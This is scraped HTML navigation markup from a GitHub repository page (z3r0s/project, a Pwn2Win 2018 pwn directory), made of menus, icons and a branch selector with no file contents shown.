<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="35975452" data-scoped-search-url="/z3r0s/project/search" data-owner-scoped-search-url="/users/z3r0s/search" data-unscoped-search-url="/search" data-turbo="false" action="/z3r0s/project/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="GxhCqFk/NFrmsBSMNABWyJow0lcsTypVehlZr9D17ZiuoWJ5Uh43U95Jyn3/MuTQCoXPo2TUyzrT6YCrvDOITQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> z3r0s </span> <span>/</span> project
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>2</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/z3r0s/project/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":35975452,"originating_url":"https://github.com/z3r0s/project/tree/master/Pwn2Win/2018/pwn","user_id":null}}" data-hydro-click-hmac="965eee17748c86f67b439a2eea75854b058cde2e3518ddd2a2c92f31e821790f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
